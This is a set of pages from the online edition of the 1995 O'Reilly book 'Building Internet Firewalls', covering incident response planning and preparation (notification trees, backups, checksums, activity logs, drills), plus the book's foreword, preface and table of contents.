To start with, you need to notify the people who are going to be involved in the response. You'll have an urgent need to get hold of them, so you need telephone and pager numbers. Be sure you have all the relevant phone numbers; in addition to home and work numbers, check to see if people have car phones or portable phones at which they might be reached. This list includes anybody who manages computers within your site and anybody who manages those people, plus anybody else who might be needed to provide resources (to sign off on emergency purchases or to unlock doors, for example). Ideally, the list - or at least the key portions of it - should be reduced down so it's small enough to carry easily (for example, it might be laser-printed onto business card-sized stock). Obviously, the list isn't much use unless it's kept up to date.

If there are many people to be notified, you may wish to use a phone tree or an alert tree. In such a tree, shown in Figure 13.2, each person notifies two or three other people; this is a geometric progression, so a large number of people can be rapidly notified with relatively little work to any one person. Everybody should have a copy of the entire tree, so that if people are unavailable their calls can be taken over by someone else (usually the person above them on the tree). It's best to set it up so as many calls as possible are toll-free, and so that people are notifying other people they know relatively well (which increases their chances of knowing how to get through). There's no need for an alert tree to reflect an organizational chart or a chain of command.

Figure 13.2: An alert tree

Next, you're going to notify other people within your organization who need to know, starting with the users of your computer facility. For that, you'll use whatever your organization normally uses for relatively urgent notifications to everybody, whether that's memos or electronic mail. Your plan should specify how to do that (system administrators rarely send memos to all personnel and may not know how).

Your plan should also show a sample notification message for the users of your systems. This can sometimes be tricky. Your message needs to contain enough information so that legitimate users understand what's happening. They need to know:

  • What has been taken out of service

  • Why you're making their lives miserable

  • Exactly which things that they normally do aren't going to work

  • When service will be restored.

  • What they're supposed to do (including leave you alone so that you can concentrate on the response)

  • That you realize you're making life unpleasant for them

  • That you're doing everything possible to improve matters

  • That you're going to tell them the details later

Things that are obvious to you may not be obvious to your users (e.g., they might not even understand why it's so bad to have an intruder). Writing an appropriate message (see Figure 13.3) is not easy, particularly if you're busy and tired.

Figure 13.3: A notification message

For the remaining people within your organization - people from other computer facilities, legal, audit, public relations, or security - the plan needs to specify who gets notified. Do you need to call the legal department? If so, who should you talk to? Who are the administrators for other sites within your organization? During the Morris worm incident in 1988, at least one large government lab was reduced to having the guards hand out flyers at the gate to everyone as they came to work, asking "Are you a system administrator?" because they had no idea who all the system administrators were, much less how to contact them.

Think about how you are going to send your message. If you send it via electronic mail, remember that the intruder may see it. Even if you know that your own systems are clean, don't assume that other people's are. Don't say anything in your message that you don't want the attacker to know. Better yet, use a telephone.

Some sites use a simple code phrase to announce a system attack that they can include in electronic mail. This can rapidly degenerate into bad spy fiction, but if you have an agreed-upon phrase that isn't going to alert an intruder (and isn't going to cause people who don't know it or don't remember it to give the game away by asking what on earth you're talking about), it can be effective. Something like "We're having a pizza party; call 3-4357 to RSVP" should serve the purpose.

Should you contact your organization's security department? At some organizations, the security department is responsible only for physical security. You'll want to have a contact number for them in case you need doors unlocked, for example, but they are unlikely to be trained in helping with an emergency of this kind, so you probably won't need to notify them routinely of every computer security incident. However, if there is a group responsible for computer security within your organization, you are probably required to notify them. Find out ahead of time when they want to be notified and how, and put that information in the plan. Even if that group cannot help you respond to your particular type of incident (e.g., they may be personal-computer specialists, or government-security specialists), it's advisable to at least brief them on the incident after you have finished responding to it.

13.4.4.2 CERT-CC and other incident response teams

Your plan should also specify what emergency response team, if any, you're served by and how to contact them. CERT-CC and many teams in the FIRST have 24-hour numbers, and they prefer to be called immediately if a security incident occurs.

13.4.4.3 Vendors and service providers

Your plan should also contain the contact numbers for your vendors and Internet service providers. These people probably do not need to be called immediately, unless you need their help. However, if you have any reason to suspect that your Internet provider itself has been compromised, you should contact them immediately.

Many vendors and service providers have special contact procedures for security incidents. Using these procedures will yield much faster results than going through normal support channels. Be sure to research these procedures ahead of time, and include the necessary information in your response plan.

13.4.4.4 Other sites

You will not ordinarily need to talk to other sites as part of the immediate incident response. Instead, you'll call them after the immediate emergency is over, when you have time to work without needing everything written down in the plan. In addition, no plan could cover all the information needed to find out what other sites were involved and to contact them. Therefore, your plan doesn't need to say much about informing other sites.

If you are providing Internet service for other sites, however, or have special network connections to other sites, you should have contact information in the plan and should contact them promptly. They need to know what happened to their service and to check that the attacker didn't reach them through your site.

13.4.5 Planning for Snapshots

Your incident response plan should specify how you're going to do snapshots of the compromised system. Make sure that your plan contains the answers to these questions:

  • Where are the necessary supplies and what program are you going to use?

  • How should the snapshot be labeled and where should it be stored?

  • How should they be preserved against tampering, for possible later use in legal proceedings?

13.4.6 Planning for Restoration and Recovery

Different incidents are going to require different amounts of recovery. Your response plan should provide some general guidelines.

Reinstalling an operating system from scratch is time-consuming, unpleasant, and often exposes underlying problems. For example, you may discover that you no longer know where some of your programs came from. For this reason, people are extremely reluctant to do it. Unless your incident response plan says explicitly that they need to reinstall the operating system, they probably won't. The problem is, this leads to situations where you have to get rid of the same intruder over and over again, because the system hasn't been properly cleaned up. Your response plan should specify what's acceptable proof that the operating system hasn't been tampered with (for instance, a comparison against cryptographic checksums of an operating system known to be uncompromised). If you don't have those tools, which are discussed in Chapter 5, Bastion Hosts, or if you can't pass the inspection, then you must install a clean operating system, and the plan should say so.

The plan should also provide the information needed to reinstall the operating system; for example:

  • Where are the distribution media kept?

  • How do you find out how to install the operating system?

  • Where are the backups, and how do you restore from them?

  • Where are the records that will let you reconstruct third-party or locally written programs?

13.4.7 Planning for Documentation

Your plan should include the basic instructions on what documentation methods you intend to use and where to find the supplies. If you might pursue legal action, your plan should also include the instructions on dating, labeling, signing, and protecting the documentation. Remember that you aren't likely to know when you start out whether or not there will be legal action, so you will always need to document if you ever want to be able to take legal steps; this is not something you can go back and "fix" later on.

13.4.8 Periodic Review of Plans

However solid your security incident response plans may seem to be, make sure to go back and review them periodically. Changes - in requirements, priorities, personnel, systems, data, and other resources - are inevitable, and you need to be sure that your response plans keep up with these changes. The right question to ask about each item isn't "Has it changed?," but "How has it changed?"

A good time to review your incident response plan is after a live drill, which may have exposed weaknesses or problems in the plan. (See the section called "Do Drills" at the end of this chapter.) For example, a live drill may uncover any of the following:

  • That you've changed all your storage since the plan was written.

  • That you can't actually restore your operating system from scratch.

  • That your plan relies on the ability to use the network to reach external sites, but at the same time instructs you to disconnect the network.

Previous: 13.3 Pursuing and Capturing the Intruder | Building Internet Firewalls | Next: 13.5 Being Prepared
13.3 Pursuing and Capturing the Intruder | Book Index | 13.5 Being Prepared


[Chapter 13] 13.5 Being Prepared

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 13.4 Planning Your Response Chapter 13
Responding to Security Incidents 		Next: IV. Apendixes

13.5 Being Prepared

The incident response plan is not the only thing that you need to have ready in advance. There are a number of practices and procedures that you need to set up so that you'll be able to respond quickly and effectively when an incident occurs. Most of these procedures are general good practice; some of them are aimed at letting you recover from any kind of disaster; and a few are specific to security incidents.

13.5.1 Backing Up Your Filesystems

Your filesystem backups are probably the single most important part of your recovery plan. Before you do anything else (including writing your response plan), make sure that your site's backup plan is a solid one and that it works. Don't assume that it's OK just because you haven't had a problem yet. It is entirely possible to go for months without noticing that you have no backups at all, and it may take you years to notice that they're only partially broken. Unfortunately, when you do notice, it's often when you need the backups most, and the outcome is likely to be disastrous.

Backups are vital for two reasons:

  • If your site suffers serious damage and you have to restore your systems from scratch, you will need these backups.

  • If you aren't sure of the extent of the damage, backups will help you to determine what changes were made to a system and when.

Every organization needs a backup plan and not just for security reasons. If you don't have one, that's probably a sign that your current backup system is not OK. When you are doing incident-response planning, however, pay special attention to your backup plan.

For your security-critical systems (e.g., bastion hosts and servers), you might want to consider keeping your monthly or weekly backups indefinitely, rather than recycling them as you would your regular systems. If an incident does occur, you can use this archive of backup tapes to recover a "snapshot" of the system as of any of the dates of the backups. Snapshots of this kind can be helpful in investigating security incidents. For example, if you find that a program has been modified, going back through the snapshots will tell you approximately when the modification took place. That may tell you when the break-in occurred; if the modification happened before the break-in, it may tell you that it was an accident and not part of the incident at all.

If you're not sure whether or not you should be worried, try testing your backup system. Play around and see what you can restore. Ask these questions:

  • Can you restore files from all of your tapes?

  • Can you do a restore of an entire filesystem?

  • If you pick a specific file, can you figure out how to restore it?

  • If you have a corrupt file and want a version from before it was corrupted, can you do that?

  • If all of your disks died (or were trashed by an attacker) simultaneously, would you be able to rebuild your computer facility?

Even the best backup system won't work if the backup images aren't safeguarded. Don't rely on online backups and keep your media in a secure place separate from the data they're backing up.

NOTE: The design of backup systems is outside the scope of this book. This description, along with the description in Chapter 12, Maintaining Firewalls, provides only a summary. If you're uncertain about your backup system, you'll want to look at a general system-administration reference. See Appendix A for complete information on additional resources.

13.5.2 Labeling and Diagraming Your System

As organizations grow, they acquire hardware; they configure networking in different ways; and they add or change equipment of various kinds. Usually only one or two people really know what a site's systems look like in any detail.

Information about system configuration may be crucial to investigating and controlling a security incident. While you may know exactly how everything works and fits together at your site, you may not be the person who has to respond to the incident. What if you're on vacation? Think about what your managers or coworkers would need to know about each system in order to respond effectively to an incident involving that system.

Labels and diagrams are crucial in an emergency. System labels should indicate what a system is, what it does, what its physical configuration is (how much disk space, how much memory, etc.), and who is responsible for it. They should be attached firmly to the correct systems and easily legible. Use large type sizes, and put at least minimal labels on the back as well as the front (the front of a machine may have more flat space, but you're probably going to be looking at it from behind when you're trying to work on it). Network diagrams should show how the various systems are connected, both physically and logically, as well as things like what kind of packet filtering is done where.

Be sure that labels are kept up to date as you move systems around; wrong labels are worse than no labels at all. It's particularly important to label racked equipment and equipment with widely scattered pieces. There's nothing more frustrating than turning off all the equipment in a rack, only to discover that some of it was actually part of the computer in the next rack over, which you meant to leave running.

Information that's easily available when machines are working normally may be impossible to find if machines are not working. For example, you'll need disk partition tables written down in order to reformat and reinstall disks, and you may need a printed copy of the host table in order to configure machines as they're brought back up.

13.5.3 Keeping Secured Checksums

Once you've had a break-in, you need to know what's been changed on your systems. The standard tools that come with your operating system won't tell you; intruders can fake modification dates and match the trivial checksums most operating systems provide. You will need to install a cryptographic checksumming program (such as Tripwire, which is discussed in Chapter 5), make checksums of important files, and store them where an intruder can't modify them (which generally means somewhere off-line). You may not need to checksum every system separately if they're all running the same release of the same operating system, although you should make sure that the checksum program is available on all your systems.

13.5.4 Keeping Activity Logs

An activity log is a record of any changes that have been made to a system, both before an incident and during the response to an incident. Normally, you'll use an activity log to list programs you've installed, configuration files you've modified, or peripherals you've added. During an incident, you'll be doing a lot more logging.

What is the purpose of an activity log? A log allows you to redo the changes if you have to rebuild the system. It also lets you determine whether any of the changes affect the incident or the response. Without a log, you may find mystery programs; you don't know where they came from and what they were supposed to do, so you can't tell if the intruder installed them or not, if they still work the way they're supposed to, or how to rebuild them. Figure 13.4 shows a sampling of routine log entries and incident log entries.

Figure 13.4: Activity logs

There are a variety of easy ways to keep activity logs, both electronic and manual; email, notebooks, and tape recorders can also be used. Some are better for routine logs (those that record your activities before an incident occurs). Others may be more appropriate for incident logs (those that keep track of your activities during an incident).

Email to an appropriate staff alias that also keeps a record of all messages is probably the simplest approach to keeping an activity log. Not only will email keep a permanent record of system changes, but it has the side benefit of letting everybody else know what's going on as the changes are made. The email approach is good for routine logs, whereas manual methods are likely to work more reliably during an incident. During an actual security incident, your email system may be down, so any messages generated during the response may be lost. You may also be unable to reach existing on-line logs during an incident, so keep a printed copy of these email messages up to date in a binder somewhere.

Notebooks make a good incident log, but people must be disciplined enough to use them. For routine logs, notebooks may not be convenient, because they may not be physically accessible when people actually make changes to the system. Some sites use a combination of electronic and paper logs for routine logs, with a paper logbook kept in the machine room for notes. This works as long as it's clear which things should be logged where; having two sets of logs to keep track of can be confusing.

Pocket tape recorders make good incident logs, although they require that somebody transcribe them later on. They're not reasonable for routine logging.

13.5.5 Keeping a Cache of Tools and Supplies

Well before a security incident, collect the tools and supplies that you are likely to need during that incident. You don't want to be running around, begging and borrowing, when the clock is ticking.

Here are some of the things you'll need to have in order to respond well to an incident. (Actually, these are things you ought to have around at all times; they come in handy in all sorts of disasters.)

  • Blank backup tapes and possibly spare disks as well.

  • Basic tools; you'll need them if you disconnect your system from the external network, or if you need to rewire the internal network to disconnect compromised hosts. Make sure you have a ladder if your site uses in-ceiling cabling or tall equipment racks.

  • Spare networking equipment - at least transceivers and cables.

Set aside basic supplies (e.g., a backup's worth of media, a few transceivers and cables, the most critical tools, notebooks or tape recorders for incident logs) in a cache to be used only in case of disaster. This should be separate from your normal stock of spare parts and tools.

13.5.6 Testing the Reload of the Operating System

If a serious security incident occurs, you may need to restore your system from backups. In this case, you will need to load a minimal operating system before you can load the backups. Are you equipped to do this?

Make sure that you:

  • Understand your system's operating system installation procedures

  • Understand the procedures for restoring from backups

  • Have all the materials (distribution media, manuals, etc.) available to restore the system

  • Test your reload plans and procedures before you really need them

Testing your ability to reload the operating system is a good idea, and too few organizations ever do it. You can learn a lot by doing this. While you're trying to reload a dead system is not a good time to discover that you've got a bad copy of the distribution media. It's also not a good time to discover that the people who have to do the reload can't figure out how to do it. The best way to test is to designate the least experienced people who might have to do the work, and let them try out the reload well ahead of time.

Most organizations find that the first time they try to reinstall the operating system and restore on a completely blank disk, the operation fails. This can happen for a number of reasons, although the usual reason is a failure in the design of the backup system. One site found that they were doing their backups with a program that wasn't distributed with the operating system, so they couldn't restore from a fresh operating system installation. (After that, they made a tape of the restore program using the standard operating system tools; they could then load the standard operating system, recover their custom restore program, and reload their data from backups.)

13.5.7 Doing Drills

Don't assume that responding to a security incident will come naturally. Like everything else, such a response benefits from practice. Test your own organization's ability to respond to an incident by running occasional drills.

There are two basic types of drills:

  • In a paper (or "tabletop") drill, you gather all the relevant people in a conference room (or over pizza at your local hangout), outline a hypothetical problem, and work through the consequences and recovery procedures. It's important to go through all the details, step by step, to expose any missing pieces or misunderstandings.

  • In a live drill, you actually carry out a response and recovery procedure. A live drill can be performed, with appropriate notice to users, during scheduled system downtimes.

You might also test only parts of your response. For example, before configuring a new machine, use it to test your recovery procedures by recovering an existing machine onto it. If you have down time scheduled for your facility, you may be able to use it to test what happens when you disconnect from the network. Run your checksum comparison program before and after you install changes to the operating system to see what changes it catches when you think everything's the same, and what it does about the things you know have changed. Coordinate with another site to see what messages are logged when various types of attacks occur (pick someone you know and trust and who'll reliably tell you exactly what they did, or do it yourself). Try taking all of your central machines down at the same time and see whether they'll all come back up in this situation. (Do this when you have a few hours to spare; if it doesn't work, it often takes a while to figure out how to coax the machines past their interdependencies.)

This is all a lot of trouble, but there is a certain amount of perverse amusement to be had by playing around with fictitious disasters, and it's much less stressful than having to improvise in a real disaster.

Previous: 13.4 Planning Your Response | Building Internet Firewalls | Next: IV. Apendixes
13.4 Planning Your Response | Book Index | IV. Apendixes


Building Internet Firewalls

By D. Brent Chapman & Elizabeth D. Zwicky; ISBN 1-56592-124-0, 517 pages.
First Edition, November 1995.
(See the catalog page for this book.)

Search the text of Building Internet Firewalls.

Index

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Table of Contents

Foreword
Preface

Part I: Network Security

Chapter 1: Why Internet Firewalls?
Chapter 2: Internet Services
Chapter 3: Security Strategies

Part II: Building Firewalls

Chapter 4: Firewall Design
Chapter 5: Bastion Hosts
Chapter 6: Packet Filtering
Chapter 7: Proxy Systems
Chapter 8: Configuring Internet Services
Chapter 9: Two Sample Firewalls
Chapter 10: Authentication and Inbound Services

Part III: Keeping Your Site Secure

Chapter 11: Security Policies
Chapter 12: Maintaining Firewalls
Chapter 13: Responding to Security Incidents

Part IV: Apendixes

Appendix A: Resources
Appendix B: Tools
Appendix C: TCP/IP Fundamentals

The Networking CD Bookshelf Navigation The Networking CD BookshelfDNS & BINDTCP/IP Network Administrationsendmailsendmail Desktop ReferencePractical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


[Part I] Network Security

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: Acknowledgments Part I Next: 1. Why Internet Firewalls?

Part I: Network Security

Part I explores the problem of Internet security and focuses on firewalls as one very effective piece of the solution to that problem

Chapter 1, Why Internet Firewalls?, introduces the major risks associated with using the Internet today, discusses what you're trying to protect and what you're trying to protect it against, discusses various security models, and introduces firewalls by discussing what they can and can't do for your site's security.

Chapter 2, Internet Services, outlines the services users want need from the Internet and the security problems posed by those services.

Chapter 3, Security Strategies, outlines the basic security principles that an organization needs to understand before it adopts a security policy and invests in specific security mechanisms.

Previous: Acknowledgments | Building Internet Firewalls | Next: 1. Why Internet Firewalls?
Acknowledgments | Book Index | 1. Why Internet Firewalls?


[Part II] Building Firewalls

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 3.8 Simplicity Part II Next: 4. Firewall Design

Part II: Building Firewalls

Part II describes how to build firewalls, configure services to run with them, and maintain firewalls over time.

Chapter 4, Firewall Design, outlines the basic components and major architectures used in constructing firewalls -- dual-homed hosts, screened hosts, screened subnets, and variations on these basic architectures.

Chapter 5, Bastion Hosts, presents step-by-step instructions for how to design and build the bastion hosts used in many firewall configurations.

Chapter 6, Packet Filtering, describes how proxy clients and servers work, and how to use these systems in building a firewall.

Chapter 7, Proxy Systems, describes how packet filtering systems work and discusses what you can and can't accomplish with them in building a firewall.

Chapter 8, Configuring Internet Services, describes how to configure each major Internet service to run with a firewall.

Chapter 9, Two Sample Firewalls, presents two sample configurations for basic firewalls.

Chapter 10, Authentication and Inbound Services, discusses the problem of allowing users to access your systems from the Internet, and describes a variety of authentication strategies and products.

Previous: 3.8 Simplicity | Building Internet Firewalls | Next: 4. Firewall Design
3.8 Simplicity | Book Index | 4. Firewall Design


[Part III] Keeping Your Site Secure

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 10.6 Terminal Servers and Modem Pools Part III Next: 11. Security Policies

Part III: Keeping Your Site Secure

Part III describes how to establish a security policy for your site, maintain your firewall, and handle the security problems that may occur with even the most effective firewalls.

Chapter 11, Security Policies, discusses the importance of having a comprehensible and well-understood security policy for your site, and what that policy should and should not contain. It also discusses ways of getting management and users to buy into the policy.

Chapter 12, Maintaining Firewalls, describes how to maintain security at your firewall over time and how to keep yourself aware of new Internet security threats and technologies.

Chapter 13, Responding to Security Incidents, describes what to do when a breakin occurs, or when you suspect that your security is being breached.

Previous: 10.6 Terminal Servers and Modem Pools | Building Internet Firewalls | Next: 11. Security Policies
10.6 Terminal Servers and Modem Pools | Book Index | 11. Security Policies


[Part IV] Apendixes

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 13.5 Being Prepared Part IV Next: A. Resources

Part IV: Apendixes

Part IV consists of the following summary appendices:

Appendix A, Resources, contains a list of places you can go for further information and help with Internet security -- World Wide Web pages, FTP sites, mailing lists, newsgroups, response teams, books, papers, and conferences.

Appendix B, Tools, summarizes the best freely available Internet security tools and how you can get them.

Appendix C, TCP/IP Fundamentals, contains background information on TCP./IP that is essential for anyone who is building or managing a firewall. This appendix is excerpted from Craig Hunt's excellent book, TCP/IP System Administration.

Previous: 13.5 Being Prepared | Building Internet Firewalls | Next: A. Resources
13.5 Being Prepared | Book Index | A. Resources


Foreword

In any society, a small percentage of people are malicious. It is estimated that the Internet now has about 30 to 40 million users. Even if the percentage of malicious users is less than one percent of the overall society, the potential number of malicious users is large enough so that it should concern you.

The number of security incidents reported to the Computer Emergency Response Team Coordination Center (CERT-CC) increases every year - less than 200 in 1989, about 400 in 1991, 1400 in 1993, and 2,241 in 1994. Estimates are that we'll see more than 3000 reported incidents in 1995. Incidents occur at government and military sites, among Fortune 500 companies, at universities, and at small startups. Some incidents involve a single account on a single system. Some (for example, those involving packet sniffers) might involve as many as 100,000 systems. Of course, these numbers are only the tip of the iceberg. Many intrusions aren't reported to the CERT Coordination Center or to other computer security incident response organizations. In fact, many aren't reported at all - in some cases, because the victimized organization would rather avoid publicity or charges of carelessness, in other cases because the intrusions are not even detected.

Nobody knows the correct statistics on how many attacks are actually detected by the sites broken into, but most people in the security community agree that only a few percent are. Here's one of the few statistics I can cite: one incident response team offers a network intrusion service to its customers. With the customer's permission, they try to penetrate a system using the same tools that intruders use in their own attacks. This team found that only 4% of the sites probed detected the penetration attempts. An even more frightening estimate: Bill Cheswick of AT&T Bell Labs believes that of those attacks that do succeed, at least 40% of the attackers gain root access.[1]

[1] Firewalls Digest, March 31, 1995.

It isn't only the numbers of incidents that are growing; it's the sophistication of the methods of attack. When the CERT Coordination Center was founded in the wake of the Internet worm in the fall of 1988, the attacks we faced fell into two major categories: password guessing and the exploiting of security holes in operating systems and system programs. Although too many sites still fall victim to such attacks, we're now seeing increasing technical complexity in most of the newer incidents. To some extent, this is the result of increasing consciousness among system users and system administrators - users are choosing better passwords, and administrators are applying system patches more quickly. Unfortunately, the result of this increased security consciousness isn't to stamp out security attacks; it's simply to force the attackers to learn new tricks. Many of today's attacks are more sophisticated. They include the forging of Internet Protocol (IP) addresses (intruders are guessing the sequence numbers associated with network connections and the acknowledgments between machines), the exploiting of the source routing option on IP packets on certain types of UNIX systems, and the hijacking of open terminal or login sessions.

This is not to say that all users and administrators have learned their lessons about old-style attacks. There is still more education that needs to be done among users and administrators, as well as among managers, who too often won't budget what's needed for security training. It's a dangerous world in cyberspace, and too few people realize it. This is one way in which the growth of the Internet may actually have hurt us. In the early days of the Internet, sites connected to the net usually had a whole staff of hardware and software gurus. Today, connecting to the Internet is so easy that sites forget it takes technical sophistication to connect safely and to stay secure.

Several years ago, I worked with a site in Europe that apparently had been broken into by someone who used a site in the United States to launch the attack. When I contacted the system administrator at the U.S. site, she assured me that they didn't even have computers at their location that were connected to the Internet. I told her the full domain name of the suspect system, and she replied, "Oh, you mean the Sun." It turned out that the Sun had been installed for use in a special application and had been running for years without anyone at the site realizing that it was connected to the Internet. The administrator assured me that they would disconnect the machine. Well, next morning, the European manager sent me another flaming email message - another break-in from the same U.S. system. I called the U.S. system administrator. Yes, she'd disconnected the modems. Yes, she'd disconnected the CRTs. But through it all, she'd managed to leave the system connected to the Internet. She didn't know it, but the attacker did, and he continued to take advantage of the fact.

I talk to system administrators all the time who are frustrated by break-ins, but who haven't done the basics that might prevent these break-ins from succeeding. One system administrator complained that he had reloaded his systems multiple times, and he was still being attacked. It turned out that, although he knew about CERT advisories and vendor security bulletins, he'd never bothered installing them. For example, CERT Advisory CA-93:16 was posted to the net in November of 1993; it advised the UNIX community about a problem with most versions of Sendmail. Vendors had cooperated by providing replacement programs, and the advisory contained a replacement for the /bin/sh program used in the MProg line of the sendmail.cf file. A year and a half later, CERT still gets calls from sites that are broken into using this old Sendmail vulnerability.

Although the number of security incidents continues to increase and the types of attacks become ever more sophisticated, still there is good news for those who care about security. Overall, we've seen a huge growth in awareness of the dangers of connecting to the Internet, and there's a lot of activity in the security community. One manifestation of that is the growth of the Forum of Incident Response and Security Teams (FIRST), which brings together a variety of computer security incident response teams (more than 40 at the time I'm writing this) from government, commercial, and academic organizations. Also heartening is the existence of ever-better security tools that our community makes freely available. The Computer Operations, Audit, and Security Technology (COAST) archive at Purdue is a central point for the collection and testing of many of these tools. (Appendix A, Resources of this book tells you how to contact both organizations.) Finally, the publication of some excellent books and papers on Internet security makes the hard-won wisdom of those at the front available to others.

In these dangerous times, firewalls are the best way to keep your site secure. Although you've got to include other types of security in the mix, if you're serious about connecting to the Internet, firewalls should be at the very center of your security plans. Brent Chapman has been known as the firewalls guru since the early days of firewalls on the Internet; his Firewalls mailing list and his tutorials are witness to that. Elizabeth Zwicky, especially through her work at the System Administrators Guild (SAGE) is the voice of safe and rational system administration. Together, they have written a book that will raise consciousness of, and competence in, Internet security to a new level.

Ed DeHart
CERT Technical Advisor at the
CERT Coordination Center (CERT-CC)
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA
June 1995

Building Internet Firewalls | Next: Preface
Book Index | Preface


Preface

Contents:
Scope of This Book
Audience
Platforms
Comments and Questions
Online Information
Acknowledgments

This book is a practical guide to building your own firewall. It provides step-by-step explanations of how to design and install a firewall at your site, and how to configure Internet services such as electronic mail, FTP, the World Wide Web, and others to work with a firewall. Firewalls are complex, though, and we can't boil everything down to simple rules. Too much depends on exactly what hardware, operating system, and networking you are using at your site, and what you want your users to be able to do, and not do. We've tried to give you enough rules, examples, and resources here so you'll be able to do the rest on your own.

What is a firewall, and what does it do for you? A firewall is a way to restrict access between the Internet and your internal network. You typically install a firewall at the point of maximum leverage, the point where your network connects to the Internet. The existence of a firewall at your site can greatly reduce the odds that outside attackers will penetrate your internal systems and networks. The firewall can also keep your own users from compromising your systems by sending dangerous information - unencrypted passwords and sensitive data - to the outside world.

The attacks on Internet-connected systems we are seeing today are more serious and more technically complex than those in the past. To keep these attacks from compromising our systems, we need all the help we can get. Firewalls are a highly effective way of protecting your site from these attacks. For that reason, we strongly recommend you include a firewall in your site's overall Internet security plan. However, a firewall should be only one component in that plan. It's also vital that you establish a security policy, that you implement strong host security, and that you consider the use of authentication and encryption devices that work with the firewalls you install. This book will touch on each of these topics while maintaining its focus on firewalls.

Scope of This Book

This book is divided into four parts:

Part I, Network Security, explores the problem of Internet security and focuses on firewalls as part of an effective strategy to solve that problem.

Chapter 1, Why Internet Firewalls?, introduces the major risks associated with using the Internet today; discusses what to protect, and what to protect it against; discusses various security models; and introduces firewalls in the context of what they can and can't do for your site's security.

Chapter 2, Internet Services, outlines the services users want and need from the Internet, and summarizes the security problems posed by those services.

Chapter 3, Security Strategies, outlines the basic security principles an organization needs to understand before it adopts a security policy and invests in specific security mechanisms.

Part II, Building Firewalls, describes how to build firewalls and configure services to run with them.

Chapter 4, Firewall Design, outlines the basic components and major architectures used in constructing firewalls: dual-homed hosts, screened hosts, screened subnets, and variations on these basic architectures.

Chapter 5, Bastion Hosts, presents step-by-step instructions on designing and building the bastion hosts used in many firewall configurations.

Chapter 6, Packet Filtering, describes how packet filtering systems work, and discusses what you can and can't accomplish with them in building a firewall.

Chapter 7, Proxy Systems, describes how proxy clients and servers work, and how to use these systems in building a firewall.

Chapter 8, Configuring Internet Services, describes how to configure each major Internet service to run with a firewall.

Chapter 9, Two Sample Firewalls, presents two sample configurations for basic firewalls.

Chapter 10, Authentication and Inbound Services, discusses the problem of allowing users to access your systems from the Internet, and describes a variety of authentication strategies and products.

Part III, Keeping Your Site Secure, describes how to establish a security policy for your site, maintain your firewall, and handle the security problems that may occur with even the most effective firewalls.

Chapter 11, Security Policies, discusses the importance of having a clear and well-understood security policy for your site, and what that policy should and should not contain. It also discusses ways of getting management and users to accept the policy.

Chapter 12, Maintaining Firewalls, describes how to maintain security at your firewall over time and how to keep yourself aware of new Internet security threats and technologies.

Chapter 13, Responding to Security Incidents, describes what to do when a break-in occurs, or when you suspect that your security is being breached.

Part IV, Apendixes, consists of the following summary appendixes:

Appendix A, Resources, contains a list of places you can go for further information and help with Internet security: World Wide Web pages, FTP sites, mailing lists, newsgroups, response teams, books, papers, and conferences.

Appendix B, Tools, summarizes the best freely available firewall tools and how to get them.

Appendix C, TCP/IP Fundamentals, contains background information on TCP/IP that is essential for anyone building or managing a firewall.

Previous: Foreword | Building Internet Firewalls | Next: Audience
Foreword | Book Index | Audience


[Preface] Audience

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: Scope of This Book Preface Next: Platforms

Audience

Who should read this book? Although the book is aimed primarily at those who need to build firewalls, large parts of it are appropriate for everyone who is concerned about Internet security. This list tells you what sections are particularly applicable to you:

System administrators

You should read the entire book. As we've mentioned, a thorough knowledge of TCP/IP is essential for understanding and building firewalls. If you are not already familiar with TCP/IP, you should read at least Appendix C right now.[2]

[2] And we strongly recommend that you read all of Craig Hunt's excellent book, TCP/IP Network Administration (O'Reilly & Associates, 1992), from which the appendix is adapted.

Managers of sites that are considering connecting to the Internet

You should at least read Part I of the book. The chapters in Part I will introduce you to the various types of Internet threats, services, and security approaches and strategies. They will also introduce you to firewalls and describe what they can and cannot do to enforce Internet security. You should also read Chapter 4, which provides an overview of firewall design. In addition, Appendix A will tell you where to go for more information and resources.

Managers and users of sites that are already connected to the Internet

You should read all of the chapters we've cited for the managers in the previous category. In addition, you should read Part III, which explains the kinds of issues that may arise at your site over time, e.g., how to develop a security policy, keep up to date, and react if someone attacks your site.

Previous: Scope of This Book | Building Internet Firewalls | Next: Platforms
Scope of This Book | Book Index | Platforms


[Preface] Platforms

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: Audience Preface Next: Comments and Questions

Platforms

To a large extent, this book is platform-independent. Because most of the information provided here consists of general principles, most of it should be applicable to you, regardless of what equipment, software, and networking you are using. The most platform-specific issue is what type of system to use as a bastion host. People have successfully built bastion hosts (which we describe in Chapter 5 of this book) using all kinds of computers, including UNIX systems, Windows NT machines, Macintoshes, VMS VAXes, and others.

Having said this, we must acknowledge that there is a strong UNIX orientation to the specific examples in this book. There are several reasons for this. This is a book about building firewalls, and at the present time, the richest source of freely available tools for accomplishing this task is in the UNIX world. As a result, the vast majority of the firewalls being built today use UNIX systems as their bastion hosts (although, of course, many other types of machines may be included in the overall configurations). We expect that this situation may change in the next few years, as more commercial systems become available for many types of systems. Another reason is, of course, that our own experience is primarily in the UNIX world.

Previous: Audience | Building Internet Firewalls | Next: Comments and Questions
Audience | Book Index | Comments and Questions


[Preface] Comments and Questions

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: Platforms Preface Next: Online Information

Comments and Questions

Please address comments and questions concerning this book to the publisher:

O'Reilly & Associates
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the U.S. or Canada)
1-707-829-0515 (international or local)
1-707-829-0104 (FAX)

You can also send us messages electronically. See the insert in the book for information about all of O'Reilly & Associates' online services.

To ask technical questions or to comment on the book, send email to:

firewalls-book@greatcircle.com

Previous: Platforms | Building Internet Firewalls | Next: Online Information
Platforms | Book Index | Online Information


[Preface] Online Information

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: Comments and Questions Preface Next: Acknowledgments

Online Information

Information related to this book is available via anonymous FTP at:

ftp://ftp.greatcircle.com/pub/firewalls-book/

and on the World Wide Web at:

http://www.greatcircle.com/firewalls-book/

Errata are available from:

